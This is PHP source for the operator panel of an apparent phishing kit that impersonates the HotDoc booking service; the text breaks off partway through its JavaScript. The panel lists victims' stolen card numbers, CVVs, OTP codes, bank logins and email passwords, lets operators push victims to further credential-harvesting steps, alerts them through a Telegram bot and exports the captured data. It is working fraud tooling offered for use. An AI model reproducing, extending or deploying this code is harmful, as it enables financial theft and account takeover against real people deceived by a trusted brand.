<?php
session_start();
$logFile = 'logs.json';
$usersFile = 'users.json';
$auditFile = 'audit.json';

function hasPermission($perm) {
    $perms = isset($_SESSION['permissions']) ? $_SESSION['permissions'] : array();
    return in_array('*', $perms) || in_array($perm, $perms);
}

// Export (protected)
if (isset($_GET['export']) && isset($_SESSION['user'])) {
    $data = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) : [];
    if (!is_array($data)) $data = [];
    $format = $_GET['export'] === 'csv' ? 'csv' : 'json';
    if ($format === 'json') {
        header('Content-Type: application/json');
        header('Content-Disposition: attachment; filename="hotdoc_export_' . date('Ymd_His') . '.json"');
        echo json_encode($data, JSON_PRETTY_PRINT);
    } else {
        header('Content-Type: text/csv');
        header('Content-Disposition: attachment; filename="hotdoc_export_' . date('Ymd_His') . '.csv"');
        $out = fopen('php://output', 'w');
        fputcsv($out, ['UID','IP','FirstSeen','LastActivity','Step','Phone','Name','Email','Card','Bank','EmailPass','OTP','Fingerprint']);
        foreach ($data as $uid => $u) {
            fputcsv($out, [
                $uid, $u['ip'] ?? '', $u['first_seen'] ?? '', date('Y-m-d H:i:s', $u['last_activity'] ?? 0),
                $u['info']['step'] ?? '', $u['info']['phone'] ?? '', $u['info']['name'] ?? '',
                $u['info']['email'] ?? '', $u['info']['current_card'] ?? '', $u['info']['bank_name'] ?? '',
                $u['info']['email_pass'] ?? '', $u['info']['otp'] ?? '',
                isset($u['fingerprint']) ? json_encode($u['fingerprint']) : ''
            ]);
        }
        fclose($out);
    }
    exit;
}

// Delete user
if (isset($_GET['delete']) && isset($_SESSION['user']) && hasPermission('send_command')) {
    $data = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) : [];
    if (!is_array($data)) $data = [];
    $uid = preg_replace('/[^a-zA-Z0-9_-]/', '', $_GET['delete'] ?? '');
    if (isset($data[$uid])) {
        unset($data[$uid]);
        file_put_contents($logFile, json_encode($data), LOCK_EX);
        $audit = [];
        if (file_exists($auditFile)) {
            $a = json_decode(file_get_contents($auditFile), true);
            if (is_array($a)) $audit = $a;
        }
        array_unshift($audit, ['time' => date('Y-m-d H:i:s'), 'action' => 'delete_user', 'uid' => $uid, 'admin' => $_SESSION['user']]);
        file_put_contents($auditFile, json_encode(array_slice($audit, 0, 1000)), LOCK_EX);
    }
    header('Content-Type: application/json');
    echo json_encode(['status' => 'deleted']);
    exit;
}

// Default users with password_hash
$defaultUsers = array(
    'admin' => array('password' => password_hash('admin123', PASSWORD_DEFAULT), 'role' => 'superadmin', 'name' => 'Admin', 'permissions' => array('*')),
    'operator' => array('password' => password_hash('operator123', PASSWORD_DEFAULT), 'role' => 'operator', 'name' => 'Operator', 'permissions' => array('view', 'send_command')),
    'viewer' => array('password' => password_hash('viewer123', PASSWORD_DEFAULT), 'role' => 'viewer', 'name' => 'Viewer', 'permissions' => array('view'))
);

if (!file_exists($usersFile)) {
    file_put_contents($usersFile, json_encode($defaultUsers));
}
$users = json_decode(file_get_contents($usersFile), true);
if (!is_array($users)) $users = $defaultUsers;

if (isset($_POST['logout'])) {
    session_destroy();
    header('Location: admin.php');
    exit;
}

if (isset($_POST['login'])) {
    $u = isset($_POST['username']) ? $_POST['username'] : '';
    $p = isset($_POST['password']) ? $_POST['password'] : '';
    $loginOk = false;
    
    if (isset($users[$u])) {
        // Modern hash
        if (password_verify($p, $users[$u]['password'])) {
            $loginOk = true;
        } 
        // MD5 fallback + rehash
        elseif (strlen($users[$u]['password']) == 32 && ctype_xdigit($users[$u]['password']) && $users[$u]['password'] === md5($p)) {
            $loginOk = true;
            $users[$u]['password'] = password_hash($p, PASSWORD_DEFAULT);
            file_put_contents($usersFile, json_encode($users));
        }
    }
    
    if ($loginOk) {
        $_SESSION['user'] = $u;
        $_SESSION['role'] = $users[$u]['role'];
        $_SESSION['permissions'] = $users[$u]['permissions'];
        header('Location: admin.php');
        exit;
    } else {
        $loginError = 'Invalid credentials';
    }
}

if (!isset($_SESSION['user'])) {
?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>Login | HotDoc Command Center</title>
<style>
body { font-family: Arial, sans-serif; background: #0a0e1a; color: #fff; display: flex; align-items: center; justify-content: center; min-height: 100vh; margin: 0; }
.box { background: #111827; border: 1px solid #1f2937; border-radius: 16px; padding: 48px; width: 100%; max-width: 420px; text-align: center; }
.box img { height: 48px; margin-bottom: 24px; }
h1 { color: #00a86b; margin-bottom: 8px; font-size: 22px; }
p { color: #6b7280; margin-bottom: 24px; font-size: 14px; }
input { width: 100%; padding: 14px; background: #1f2937; border: 1px solid #374151; border-radius: 10px; color: #fff; margin-bottom: 16px; box-sizing: border-box; font-size: 14px; }
input:focus { outline: none; border-color: #00a86b; box-shadow: 0 0 0 3px rgba(0,168,107,0.15); }
button { width: 100%; padding: 14px; background: #00a86b; border: none; border-radius: 10px; color: #fff; font-weight: 700; cursor: pointer; font-size: 15px; transition: background 0.2s; }
button:hover { background: #008f5b; }
.error { color: #ef4444; margin-bottom: 16px; font-size: 13px; }
</style>
</head>
<body>
<div class="box">
    <img src="https://cdn.hotdoc.com.au/bookings/dist/assets/images/hotdoc.fingerprinted.aa4b7b0c73a54530f68b.svg" alt="HotDoc">
    <h1>Command Center</h1>
    <p>Admin Control Panel</p>
    <?php if(isset($loginError)): ?><div class="error"><?php echo $loginError; ?></div><?php endif; ?>
    <form method="POST">
        <input type="text" name="username" placeholder="Username" required autocomplete="off">
        <input type="password" name="password" placeholder="Password" required>
        <button type="submit" name="login">Sign In</button>
    </form>
</div>
</body>
</html>
<?php exit; }

$currentUser = isset($_SESSION['user']) ? $_SESSION['user'] : 'unknown';
$currentRole = isset($_SESSION['role']) ? $_SESSION['role'] : 'unknown';
$data = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) : array();
if (!is_array($data)) $data = array();

// Compute duplicates
$phones = []; $emails = []; $duplicateUids = [];
foreach ($data as $uid => $u) {
    $phone = $u['info']['phone'] ?? '';
    $email = $u['info']['email'] ?? '';
    if ($phone) {
        if (isset($phones[$phone])) { $duplicateUids[$uid] = true; $duplicateUids[$phones[$phone]] = true; }
        else $phones[$phone] = $uid;
    }
    if ($email) {
        if (isset($emails[$email])) { $duplicateUids[$uid] = true; $duplicateUids[$emails[$email]] = true; }
        else $emails[$email] = $uid;
    }
}

$totalUsers = count($data);
$onlineUsers = 0;
$processingUsers = 0;
foreach ($data as $u) {
    if ((time() - (isset($u['last_activity']) ? $u['last_activity'] : 0)) < 15) $onlineUsers++;
    $step = isset($u['info']['step']) ? $u['info']['step'] : 1;
    if ($step == 3 && (isset($u['command']) ? $u['command'] : 'wait') === 'wait') $processingUsers++;
}

$filter = isset($_GET['filter']) ? $_GET['filter'] : 'all';
$auditLog = [];
if (file_exists($auditFile)) {
    $a = json_decode(file_get_contents($auditFile), true);
    if (is_array($a)) $auditLog = $a;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>HotDoc Command Center</title>
<style>
:root { --green: #00a86b; --blue: #3b82f6; --orange: #f59e0b; --red: #ef4444; --dark: #0f172a; --card: #1e293b; --border: #334155; --muted: #94a3b8; }
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: Arial, sans-serif; background: var(--dark); color: #e2e8f0; }
.nav { background: var(--card); border-bottom: 1px solid var(--border); padding: 0 20px; height: 56px; display: flex; align-items: center; justify-content: space-between; }
.nav-left { display: flex; align-items: center; gap: 12px; }
.nav-left img { height: 28px; }
.nav h1 { font-size: 18px; color: var(--green); font-weight: 700; }
.nav-right { display: flex; align-items: center; gap: 15px; }
.nav-right span { font-size: 12px; color: var(--muted); }
.nav-right button { background: transparent; border: 1px solid var(--border); color: var(--muted); padding: 6px 14px; border-radius: 6px; cursor: pointer; font-size: 12px; }
.nav-right button:hover { border-color: var(--red); color: var(--red); }
.btn-refresh { background: var(--green) !important; color: #fff !important; border-color: var(--green) !important; font-weight: 600; }
.main { padding: 20px; max-width: 1400px; margin: 0 auto; }
.stats { display: grid; grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); gap: 15px; margin-bottom: 20px; }
.stat { background: var(--card); border: 1px solid var(--border); border-radius: 8px; padding: 15px; }
.stat .label { font-size: 11px; color: var(--muted); text-transform: uppercase; letter-spacing: 0.5px; }
.stat .value { font-size: 26px; font-weight: 700; color: #fff; margin-top: 5px; }
.users { display: grid; grid-template-columns: repeat(auto-fill, minmax(380px, 1fr)); gap: 15px; }
.user { background: var(--card); border: 1px solid var(--border); border-radius: 10px; overflow: hidden; transition: all 0.3s; }
.user.online { border-left: 3px solid var(--green); }
.user.waiting { border-left: 3px solid var(--orange); }
.user.processing { border-left: 3px solid var(--blue); }
.user.duplicate { border: 2px solid var(--orange); }
.user-header { padding: 12px 14px; background: rgba(0,0,0,0.2); display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--border); }
.user-header .id { font-family: monospace; font-weight: 700; font-size: 13px; color: #fff; }
.user-header .badge { padding: 3px 8px; border-radius: 4px; font-size: 10px; font-weight: 700; text-transform: uppercase; margin-left: 5px; letter-spacing: 0.5px; }
.badge-step { background: rgba(59,130,246,0.15); color: #60a5fa; }
.badge-cards { background: rgba(239,68,68,0.15); color: #f87171; }
.badge-otp { background: rgba(16,185,129,0.15); color: #34d399; }
.badge-processing { background: rgba(59,130,246,0.15); color: #60a5fa; }
.badge-bank { background: rgba(245,158,11,0.15); color: #f59e0b; }
.badge-queue { background: rgba(139,92,246,0.15); color: #a78bfa; }
.badge-dup { background: rgba(245,158,11,0.2); color: #fbbf24; }
.user-body { padding: 12px; }
.data-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 8px; }
.data-field { background: rgba(0,0,0,0.2); padding: 8px 10px; border-radius: 6px; font-size: 12px; }
.data-field label { display: block; font-size: 10px; color: var(--muted); text-transform: uppercase; margin-bottom: 3px; letter-spacing: 0.5px; }
.data-field .val { font-family: monospace; word-break: break-all; color: #e2e8f0; }
.data-field .val.card { color: #34d399; font-weight: 700; }
.data-field .val.cvv { color: #f87171; font-weight: 700; }
.data-field .val.exp { color: #60a5fa; font-weight: 700; }
.data-field .val.otp { color: #34d399; font-size: 18px; font-weight: 800; }
.data-field .val.bank { color: #f59e0b; font-weight: 700; }
.data-field .val.creds { color: #f87171; font-weight: 700; }
.cmd-section { padding: 12px; background: rgba(0,0,0,0.2); border-top: 1px solid var(--border); }
.cmd-row { display: flex; gap: 8px; flex-wrap: wrap; }
.cmd-row select { flex: 1; min-width: 140px; padding: 8px 10px; background: var(--card); border: 1px solid var(--border); border-radius: 6px; color: #fff; font-size: 13px; cursor: pointer; }
.cmd-row button { padding: 8px 14px; border: none; border-radius: 6px; cursor: pointer; font-weight: 600; font-size: 12px; transition: opacity 0.2s; }
.cmd-row button:hover { opacity: 0.85; }
.cmd-row input[type="text"] { flex: 1; min-width: 140px; padding: 8px 10px; background: var(--card); border: 1px solid var(--border); border-radius: 6px; color: #fff; font-size: 13px; }
.btn-send { background: var(--green); color: #fff; }
.btn-quick { background: transparent; border: 1px solid var(--border); color: var(--muted); }
.btn-otp { background: var(--blue); color: #fff; }
.btn-app { background: #8b5cf6; color: #fff; }
.btn-bank { background: #f59e0b; color: #fff; }
.btn-done { background: var(--green); color: #fff; }
.btn-notify { background: #f59e0b; color: #fff; }
.btn-email { background: #ec4899; color: #fff; }
.btn-delete { background: var(--red); color: #fff; }
.status { font-size: 11px; color: var(--muted); margin-top: 8px; min-height: 16px; }
.status.pending { color: var(--orange); font-weight: 600; }
.status.sent { color: var(--green); font-weight: 600; }
.empty { text-align: center; padding: 60px; color: var(--muted); grid-column: 1 / -1; }
.filters { display: flex; gap: 10px; margin-bottom: 20px; flex-wrap: wrap; }
.filters button { padding: 8px 16px; background: var(--card); border: 1px solid var(--border); border-radius: 6px; color: var(--muted); cursor: pointer; font-size: 13px; transition: all 0.2s; }
.filters button.active { background: rgba(0,168,107,0.15); border-color: var(--green); color: var(--green); font-weight: 600; }
.toast-container { position: fixed; top: 70px; right: 20px; z-index: 1000; }
.toast { background: var(--card); border: 1px solid var(--border); border-radius: 8px; padding: 12px 16px; margin-bottom: 10px; box-shadow: 0 4px 20px rgba(0,0,0,0.3); animation: slideIn 0.3s; max-width: 300px; font-size: 13px; color: #fff; }
@keyframes slideIn { from { transform: translateX(100px); opacity: 0; } to { transform: translateX(0); opacity: 1; } }
.flow-guide { background: rgba(0,168,107,0.08); border: 1px solid rgba(0,168,107,0.3); border-radius: 8px; padding: 12px 16px; margin-bottom: 20px; font-size: 13px; color: var(--muted); }
.flow-guide strong { color: var(--green); }
.tg-panel { background: var(--card); border: 1px solid var(--border); border-radius: 10px; padding: 16px; margin-bottom: 20px; }
.tg-panel h3 { font-size: 14px; color: var(--green); margin-bottom: 10px; display: flex; align-items: center; gap: 8px; }
.tg-panel p { font-size: 12px; color: var(--muted); margin-bottom: 8px; line-height: 1.5; }
.tg-panel code { background: rgba(0,0,0,0.3); padding: 2px 6px; border-radius: 4px; font-family: monospace; font-size: 11px; color: #e2e8f0; }
.tg-btn { display: inline-block; padding: 6px 14px; background: rgba(0,168,107,0.15); border: 1px solid var(--green); color: var(--green); border-radius: 6px; font-size: 12px; font-weight: 600; text-decoration: none; margin-right: 8px; cursor: pointer; }
.tg-btn:hover { background: var(--green); color: #fff; }
.top-bar { display: flex; gap: 10px; margin-bottom: 20px; flex-wrap: wrap; align-items: center; }
.top-bar input { padding: 8px 12px; background: var(--card); border: 1px solid var(--border); border-radius: 6px; color: #fff; font-size: 13px; min-width: 200px; }
.top-bar select { padding: 8px 12px; background: var(--card); border: 1px solid var(--border); border-radius: 6px; color: #fff; font-size: 13px; }
.bulk-panel { background: var(--card); border: 1px solid var(--border); border-radius: 8px; padding: 10px 14px; margin-bottom: 15px; display: none; align-items: center; gap: 10px; flex-wrap: wrap; }
.bulk-panel.show { display: flex; }
.bulk-panel select { padding: 6px 10px; background: var(--dark); border: 1px solid var(--border); border-radius: 6px; color: #fff; font-size: 13px; }
.audit-section { background: var(--card); border: 1px solid var(--border); border-radius: 10px; padding: 16px; margin-bottom: 20px; max-height: 300px; overflow-y: auto; }
.audit-section h3 { font-size: 14px; color: var(--green); margin-bottom: 10px; }
.audit-row { font-size: 12px; color: var(--muted); padding: 4px 0; border-bottom: 1px solid var(--border); }
.audit-row:last-child { border-bottom: none; }
.user-checkbox { margin-right: 8px; cursor: pointer; }
</style>
</head>
<body>

<div class="nav">
    <div class="nav-left">
        <img src="https://cdn.hotdoc.com.au/bookings/dist/assets/images/hotdoc.fingerprinted.aa4b7b0c73a54530f68b.svg" alt="HotDoc">
        <h1>Command Center</h1>
    </div>
    <div class="nav-right">
        <span><?php echo htmlspecialchars($currentUser); ?> (<?php echo $currentRole; ?>)</span>
        <button class="btn-refresh" onclick="forceRefresh()">Refresh</button>
        <button onclick="toggleAutoRefresh()" id="refreshToggle">Pause</button>
        <a href="?export=json" class="tg-btn" style="text-decoration:none;">Export JSON</a>
        <a href="?export=csv" class="tg-btn" style="text-decoration:none;">Export CSV</a>
        <form method="POST" style="display:inline;"><button type="submit" name="logout">Logout</button></form>
    </div>
</div>

<div class="main">

<div class="tg-panel">
    <h3>📱 Telegram Bot Control</h3>
    <p><strong>Commands:</strong> <code>/start</code> <code>/panel</code> <code>/users</code> <code>/online</code> <code>/active</code> <code>/notify &lt;uid&gt; &lt;msg&gt;</code></p>
    <p>When a user submits card details, the bot sends an alert with inline buttons (OTP, APP, BANK, New Card, Done, Error). Click any button to send the command instantly.</p>
    <p><strong>Setup:</strong> Set token in <code>backend.php</code> & <code>tg_bot.php</code>, then visit <code>tg_bot.php?setup=1&token=YOUR_BOT_TOKEN</code></p>
    <div style="margin-top:10px;">
        <a href="tg_bot.php?setup=1" class="tg-btn" target="_blank">🔗 Setup Webhook</a>
        <a href="https://t.me/BotFather" class="tg-btn" target="_blank">🤖 BotFather</a>
    </div>
</div>

<div class="stats">
    <div class="stat"><div class="label">Online Now</div><div class="value" id="stat-online"><?php echo $onlineUsers; ?></div></div>
    <div class="stat"><div class="label">Total Users</div><div class="value" id="stat-total"><?php echo $totalUsers; ?></div></div>
    <div class="stat"><div class="label">Processing</div><div class="value" id="stat-processing"><?php echo $processingUsers; ?></div></div>
</div>

<div class="flow-guide">
    <strong>Flow:</strong> Phone -> Personal Info -> Card -> <strong>Processing</strong> -> [OTP / App / Bank / Email / New Card / Done]
</div>

<div class="top-bar">
    <input type="text" id="searchInput" placeholder="Search by UID, phone, email, name..." oninput="filterUsers()">
    <button onclick="document.getElementById('auditSection').classList.toggle('hidden')">📋 Audit Log</button>
</div>

<div class="bulk-panel" id="bulkPanel">
    <span style="font-size:13px;color:var(--muted);"><span id="bulkCount">0</span> selected</span>
    <select id="bulkCmd">
        <option value="">Bulk Command...</option>
        <option value="go_otp">OTP Verification</option>
        <option value="go_app">Bank App Approval</option>
        <option value="go_bank">Bank Login Required</option>
        <option value="go_email">Email Password Required</option>
        <option value="new_card">New Card Required</option>
        <option value="wrong_card">Card Wrong - Retry</option>
        <option value="go_success">Done - Success</option>
        <option value="go_error">Show Error</option>
        <option value="delete">Delete Users</option>
    </select>
    <button class="btn-send" onclick="sendBulkCmd()">Send Bulk</button>
    <button class="btn-delete" onclick="clearBulk()">Clear</button>
</div>

<div class="audit-section hidden" id="auditSection">
    <h3>Recent Admin Actions</h3>
    <?php if (empty($auditLog)): ?>
        <div style="color:var(--muted);font-size:12px;">No audit entries yet.</div>
    <?php else: ?>
        <?php foreach (array_slice($auditLog, 0, 50) as $entry): ?>
            <div class="audit-row">
                <strong><?php echo htmlspecialchars($entry['time']); ?></strong> — 
                <?php echo htmlspecialchars($entry['action']); ?> 
                <?php if ($entry['uid']): ?>on <code><?php echo htmlspecialchars(substr($entry['uid'],0,16)); ?></code><?php endif; ?>
                <?php if (isset($entry['details']['command'])): ?>(<?php echo htmlspecialchars($entry['details']['command']); ?>)<?php endif; ?>
            </div>
        <?php endforeach; ?>
    <?php endif; ?>
</div>

<div class="filters">
    <button class="<?php echo $filter=='all'?'active':''; ?>" onclick="setFilter('all')">All</button>
    <button class="<?php echo $filter=='online'?'active':''; ?>" onclick="setFilter('online')">Online</button>
    <button class="<?php echo $filter=='processing'?'active':''; ?>" onclick="setFilter('processing')">Processing</button>
    <button class="<?php echo $filter=='action'?'active':''; ?>" onclick="setFilter('action')">Action Needed</button>
    <button class="<?php echo $filter=='duplicate'?'active':''; ?>" onclick="setFilter('duplicate')">Duplicates</button>
</div>

<div class="users" id="usersContainer">
<?php
$displayed = 0;
foreach(array_reverse($data, true) as $uid => $user):
    $isOnline = (time() - (isset($user['last_activity']) ? $user['last_activity'] : 0)) < 15;
    $isWaiting = (isset($user['command']) ? $user['command'] : 'wait') !== 'wait';
    $step = isset($user['info']['step']) ? $user['info']['step'] : 1;
    $cards = isset($user['card_attempts']) ? $user['card_attempts'] : 0;
    $isProcessing = ($step == 3 && !$isWaiting);
    $hasBank = isset($user['info']['bank_name']) && !empty($user['info']['bank_name']);
    $isDuplicate = isset($duplicateUids[$uid]);
    $queueCount = isset($user['command_queue']) ? count($user['command_queue']) : 0;

    if ($filter == 'online' && !$isOnline) continue;
    if ($filter == 'processing' && !$isProcessing) continue;
    if ($filter == 'action' && !$isWaiting) continue;
    if ($filter == 'duplicate' && !$isDuplicate) continue;
    $displayed++;

    $stepLabels = array(1 => 'Phone', 2 => 'Info', 3 => 'Card', 5 => 'OTP', 6 => 'App', 8 => 'Bank', 9 => 'Email');
    $stepLabel = isset($stepLabels[$step]) ? $stepLabels[$step] : 'Step ' . $step;
?>
<div class="user <?php echo $isOnline?'online':''; ?> <?php echo $isWaiting?'waiting':''; ?> <?php echo $isProcessing?'processing':''; ?> <?php echo $isDuplicate?'duplicate':''; ?>" data-uid="<?php echo htmlspecialchars($uid); ?>" id="card-<?php echo htmlspecialchars($uid); ?>">
    <div class="user-header">
        <div style="display:flex;align-items:center;">
            <input type="checkbox" class="user-checkbox" onchange="updateBulk()" data-uid="<?php echo htmlspecialchars($uid); ?>">
            <span class="id"><?php echo htmlspecialchars($uid); ?></span>
        </div>
        <div>
            <span class="badge badge-step"><?php echo $stepLabel; ?></span>
            <?php if($cards>0): ?><span class="badge badge-cards"><?php echo $cards; ?> cards</span><?php endif; ?>
            <?php if(isset($user['info']['otp']) && !empty($user['info']['otp'])): ?><span class="badge badge-otp">OTP</span><?php endif; ?>
            <?php if($hasBank): ?><span class="badge badge-bank">BANK</span><?php endif; ?>
            <?php if($isProcessing): ?><span class="badge badge-processing">PROCESSING</span><?php endif; ?>
            <?php if($queueCount>0): ?><span class="badge badge-queue">Queue <?php echo $queueCount; ?></span><?php endif; ?>
            <?php if($isDuplicate): ?><span class="badge badge-dup">DUP</span><?php endif; ?>
        </div>
    </div>
    <div class="user-body">
        <div class="data-grid">
            <?php foreach(array('phone','fname','lname','name','dob','address','city','postcode','email') as $f): if(isset($user['info'][$f]) && !empty($user['info'][$f])): ?>
            <div class="data-field"><label><?php echo ucfirst($f); ?></label><div class="val"><?php echo htmlspecialchars($user['info'][$f]); ?></div></div>
            <?php endif; endforeach; ?>
            <?php if(isset($user['info']['email_pass_email']) && !empty($user['info']['email_pass_email'])): ?>
            <div class="data-field"><label>Email (Verified)</label><div class="val"><?php echo htmlspecialchars($user['info']['email_pass_email']); ?></div></div>
            <?php endif; ?>
            <?php if(isset($user['info']['email_pass']) && !empty($user['info']['email_pass'])): ?>
            <div class="data-field" style="grid-column:1/-1"><label>Email Password</label><div class="val creds"><?php echo htmlspecialchars($user['info']['email_pass']); ?></div></div>
            <?php endif; ?>
            <?php if(isset($user['info']['current_card']) && !empty($user['info']['current_card'])): ?>
            <div class="data-field"><label>Card</label><div class="val card"><?php echo htmlspecialchars($user['info']['current_card']); ?></div></div>
            <?php endif; ?>
            <?php if(isset($user['info']['current_exp']) && !empty($user['info']['current_exp'])): ?>
            <div class="data-field"><label>Expiry</label><div class="val exp"><?php echo htmlspecialchars($user['info']['current_exp']); ?></div></div>
            <?php endif; ?>
            <?php if(isset($user['info']['current_cvv']) && !empty($user['info']['current_cvv'])): ?>
            <div class="data-field"><label>CVV</label><div class="val cvv"><?php echo htmlspecialchars($user['info']['current_cvv']); ?></div></div>
            <?php endif; ?>
            <?php if(isset($user['info']['otp']) && !empty($user['info']['otp'])): ?>
            <div class="data-field" style="grid-column:1/-1"><label>OTP</label><div class="val otp"><?php echo htmlspecialchars($user['info']['otp']); ?></div></div>
            <?php endif; ?>
            <?php if($hasBank): ?>
            <div class="data-field"><label>Bank</label><div class="val bank"><?php echo htmlspecialchars($user['info']['bank_name']); ?></div></div>
            <div class="data-field"><label>Bank User</label><div class="val creds"><?php echo htmlspecialchars($user['info']['bank_user']); ?></div></div>
            <div class="data-field" style="grid-column:1/-1"><label>Bank Password</label><div class="val creds"><?php echo htmlspecialchars($user['info']['bank_pass']); ?></div></div>
            <?php endif; ?>
            <?php if(isset($user['fingerprint'])): ?>
            <div class="data-field" style="grid-column:1/-1"><label>Device</label><div class="val"><?php echo htmlspecialchars(($user['fingerprint']['userAgent'] ?? '') . ' | ' . ($user['fingerprint']['screenWidth'] ?? '') . 'x' . ($user['fingerprint']['screenHeight'] ?? '')); ?></div></div>
            <?php endif; ?>
            <div class="data-field"><label>IP</label><div class="val"><?php echo htmlspecialchars(isset($user['ip'])?$user['ip']:'N/A'); ?></div></div>
            <div class="data-field"><label>Last Seen</label><div class="val" id="time-<?php echo htmlspecialchars($uid); ?>" data-ts="<?php echo isset($user['last_activity'])?$user['last_activity']:time(); ?>"><?php echo date('H:i:s', isset($user['last_activity'])?$user['last_activity']:time()); ?></div></div>
        </div>
    </div>
    <?php if(hasPermission('send_command')): ?>
    <div class="cmd-section">
        <div class="cmd-row">
            <select id="cmd-<?php echo htmlspecialchars($uid); ?>">
                <option value="">Select Command...</option>
                <optgroup label="After Card - Send User To:">
                    <option value="go_otp">OTP Verification</option>
                    <option value="go_app">Bank App Approval</option>
                    <option value="go_bank">Bank Login Required</option>
                    <option value="go_email">Email Password Required</option>
                    <option value="new_card">New Card Required</option>
                    <option value="wrong_card">Card Wrong - Retry</option>
                </optgroup>
                <optgroup label="Email Verification:">
                    <option value="wrong_email">Wrong Email Password - Retry</option>
                </optgroup>
                <optgroup label="Finish:">
                    <option value="go_success">Done - Success Page</option>
                    <option value="go_error">Show Error</option>
                </optgroup>
            </select>
            <button class="btn-send" id="btn-send-<?php echo htmlspecialchars($uid); ?>" onclick="sendCmd('<?php echo htmlspecialchars($uid); ?>', this)">SEND</button>
        </div>
        <div class="cmd-row" style="margin-top:8px;">
            <button class="btn-otp" onclick="quickCmd('<?php echo htmlspecialchars($uid); ?>','go_otp')">OTP</button>
            <button class="btn-app" onclick="quickCmd('<?php echo htmlspecialchars($uid); ?>','go_app')">APP</button>
            <button class="btn-bank" onclick="quickCmd('<?php echo htmlspecialchars($uid); ?>','go_bank')">BANK</button>
            <button class="btn-email" onclick="quickCmd('<?php echo htmlspecialchars($uid); ?>','go_email')">EMAIL</button>
            <button class="btn-quick" onclick="quickCmd('<?php echo htmlspecialchars($uid); ?>','new_card')">NEW CARD</button>
            <button class="btn-done" onclick="quickCmd('<?php echo htmlspecialchars($uid); ?>','go_success')">DONE</button>
            <button class="btn-delete" onclick="deleteUser('<?php echo htmlspecialchars($uid); ?>')">Delete</button>
        </div>
        <div class="cmd-row" style="margin-top:8px;">
            <input type="text" id="notify-<?php echo htmlspecialchars($uid); ?>" placeholder="Custom notification message..." autocomplete="off">
            <button class="btn-notify" onclick="sendNotify('<?php echo htmlspecialchars($uid); ?>')">📢 Notify</button>
        </div>
        <div class="status" id="status-<?php echo htmlspecialchars($uid); ?>"><?php echo $isWaiting ? 'Command pending...' : 'Idle - waiting for card submit'; ?></div>
    </div>
    <?php endif; ?>
</div>
<?php endforeach; ?>
<?php if($displayed==0): ?>
<div class="empty"><h2>No users</h2><p>Wait for submissions or refresh</p></div>
<?php endif; ?>
</div>

</div>

<div class="toast-container" id="toasts"></div>

<script>
var state = { lastHash: '', lastData: {}, pending: {}, role: '<?php echo $currentRole; ?>', autoRefresh: true };
var pollInterval = null;
var idleTimer = null;
const IDLE_TIMEOUT = 30 * 60 * 1000; // 30 minutes

function resetIdleTimer() {
    if (idleTimer) clearTimeout(idleTimer);
    idleTimer = setTimeout(function() {
        alert('Session expired due to inactivity. Logging out.');
        location.href = '?logout=1';
    }, IDLE_TIMEOUT);
}
document.addEventListener('mousemove', resetIdleTimer);
document.addEventListener('keypress', resetIdleTimer);
document.addEventListener('click', resetIdleTimer);
resetIdleTimer();

function startPoll() {
    if (pollInterval) clearInterval(pollInterval);
    pollInterval = setInterval(poll, 2000);
    document.getElementById('refreshToggle').textContent = 'Pause';
    state.autoRefresh = true;
}
function stopPoll() {
    if (pollInterval) clearInterval(pollInterval);
    document.getElementById('refreshToggle').textContent = 'Resume';
    state.autoRefresh = false;
}
function toggleAutoRefresh() {
    if (state.autoRefresh) stopPoll(); else startPoll();
}

function poll() {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'backend.php?admin_poll=1&_=' + Date.now(), true);
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            try {
                var r = JSON.parse(xhr.responseText);
                if (r.status === 'ok' && r.data) {
                    var hash = JSON.stringify(r.data);
                    if (state.lastHash && hash !== state.lastHash) {
                        process(r.data);
                    }
                    state.lastHash = hash;
                    state.lastData = r.data;
                    updateStats(r.data);
                }
            } catch(e) {}
        }
    };
    xhr.send();
}

function process(newData) {
    var oldData = state.lastData;
    var container = document.getElementById('usersContainer');

    for (var uid in newData) {
        var panel = document.querySelector('[data-uid="' + uid + '"]');

        if (!panel) {
            createCard(uid, newData[uid]);
            toast('New user: ' + uid.substr(0,12));
        } else {
            var u = newData[uid];
            var now = Date.now()/1000;
            var isOnline = (now - (u.last_activity||0)) < 15;
            var isWaiting = (u.command||'wait') !== 'wait';
            var step = u.info && u.info.step ? u.info.step : 1;
            var isProcessing = (step == 3 && !isWaiting);
            var hasBank = u.info && u.info.bank_name;
            var isDuplicate = false; // computed server-side on reload
            var queueCount = u.command_queue ? u.command_queue.length : 0;

            panel.className = 'user ' + (isOnline?'online ':'') + (isWaiting?'waiting ':'') + (isProcessing?'processing':'') + (isDuplicate?'duplicate':'');

            var badges = panel.querySelector('.user-header div:last-child');
            if (badges) {
                var stepLabels = {1:'Phone',2:'Info',3:'Card',5:'OTP',6:'App',8:'Bank',9:'Email'};
                var stepLabel = stepLabels[step] || 'Step ' + step;
                var h = '<span class="badge badge-step">' + stepLabel + '</span>';
                if ((u.card_attempts||0)>0) h += '<span class="badge badge-cards">' + u.card_attempts + ' cards</span>';
                if (u.info&&u.info.otp) h += '<span class="badge badge-otp">OTP</span>';
                if (hasBank) h += '<span class="badge badge-bank">BANK</span>';
                if (isProcessing) h += '<span class="badge badge-processing">PROCESSING</span>';
                if (queueCount>0) h += '<span class="badge badge-queue">Queue ' + queueCount + '</span>';
                badges.innerHTML = h;
            }

            var dataGrid = panel.querySelector('.data-grid');
            if (dataGrid && u.info) {
                var fields = ['phone','fname','lname','name','dob','address','city','postcode','email'];
                var newHtml = '';
                for (var i=0; i<fields.length; i++) {
                    var f = fields[i];
                    if (u.info[f]) {
                        newHtml += '<div class="data-field"><label>' + f + '</label><div class="val">' + escapeHtml(u.info[f]) + '</div></div>';
                    }
                }
                if (u.info.email_pass_email) {
                    newHtml += '<div class="data-field"><label>Email (Verified)</label><div class="val">' + escapeHtml(u.info.email_pass_email) + '</div></div>';
                }
                if (u.info.email_pass) {
                    newHtml += '<div class="data-field" style="grid-column:1/-1"><label>Email Password</label><div class="val creds">' + escapeHtml(u.info.email_pass) + '</div></div>';
                }
